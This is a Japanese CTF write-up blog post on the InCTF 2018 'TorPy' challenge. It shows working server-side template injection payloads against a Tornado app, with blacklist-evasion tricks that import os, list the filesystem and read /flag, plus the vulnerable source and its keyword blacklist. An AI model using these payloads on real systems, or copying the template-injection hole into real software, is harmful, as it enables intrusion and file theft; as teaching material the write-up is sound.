こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

InCTF 2018 - TorPy

問題文

Where is /flag ?

f:id:graneed:20181008012115p:plain

writeup

コメントにname=という怪しいパラメータ。

root@kali:~# curl "http://18.223.211.42/"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name= -->
</body>
</html>

 
クエリパラメータにnameを付けるとセットされた。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name=hoge"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=hoge -->
</body>
</html>

 
テンプレートインジェクションを試すとビンゴ。
またもやpyjail系の問題か。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{7*7}}"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=49 -->
</body>
</html>

 
ここからはblacklistとの戦い。
最終的に、以下のコードが通った。
replaceを使っているのはblacklist回避である。
また、globals()はNGだったが、間にスペースを入れてglobals ()は通った。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{globals ().__getitem__('__builthoge__'.replace('hoge','ins')).__getitem__('__imphoge__'.replace('hoge','ort'))('oh'.replace('h','s')).listdir('/')}}"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=[&#39;proc&#39;, &#39;lib64&#39;, &#39;sbin&#39;, &#39;mnt&#39;, &#39;var&#39;, &#39;lost+found&#39;, &#39;media&#39;, &#39;initrd.img&#39;, &#39;usr&#39;, &#39;vmlinuz&#39;, &#39;etc&#39;, &#39;boot&#39;, &#39;tmp&#39;, &#39;srv&#39;, &#39;dev&#39;, &#39;run&#39;, &#39;sys&#39;, &#39;snap&#39;, &#39;vmlinuz.old&#39;, &#39;root&#39;, &#39;bin&#39;, &#39;initrd.img.old&#39;, &#39;opt&#39;, &#39;lib&#39;, &#39;flag&#39;, &#39;home&#39;] -->
</body>
</html>

 
以下で/flagを読み込み。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{globals ().__getitem__('__builthoge__'.replace('hoge','ins')).__getitem__('ophoge'.replace('hoge','en'))('/flag').read()}}"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3_!!!_1t5_M461c4l}
 -->
</body>
</html>

フラグゲット。
inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3!!!1t5_M461c4l}

最近、pyjail系の問題ばかり解いている気がする。

補足

blacklistを確認するため、ソースコードも取得した。

import tornado.template
import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        name = self.get_argument('name', '')
        if(name=="index.html"):
            template_data = open("/var/www/chall-1/index.html").read()
            t = tornado.template.Template(template_data)
            self.write(t.generate(name=name))
        else:
            blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','%','subprocess','file','open','popen','builtins','+','compile','execfile','getattr',']','[','from_pyfile','tornado','config','app','base','als(']
            flag=0
            for i in blacklist:
                if i in name:
                    flag=1
                    break
            if(flag==1):
                template_data = open("/var/www/chall-1/index.html").read().replace("index.html","Sorry, but some keywords are blacklisted in your payload!!!")
                t = tornado.template.Template(template_data)
                self.write(t.generate(name=name))
            else:
                if(name.count("{")>2 or name.count("}")>2):
                    template_data = open("/var/www/chall-1/index.html").read().replace("index.html","you can only use two '{' and two '}'")
                    t = tornado.template.Template(template_data)
                    self.write(t.generate(name=name))
                else:
                    template_data = open("/var/www/chall-1/index.html").read().replace("index.html",name)
                    t = tornado.template.Template(template_data)
                    self.write(t.generate(name=name))

application = tornado.web.Application([
    (r"/", MainHandler),
], debug=False, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000)
    tornado.ioloop.IOLoop.instance().start()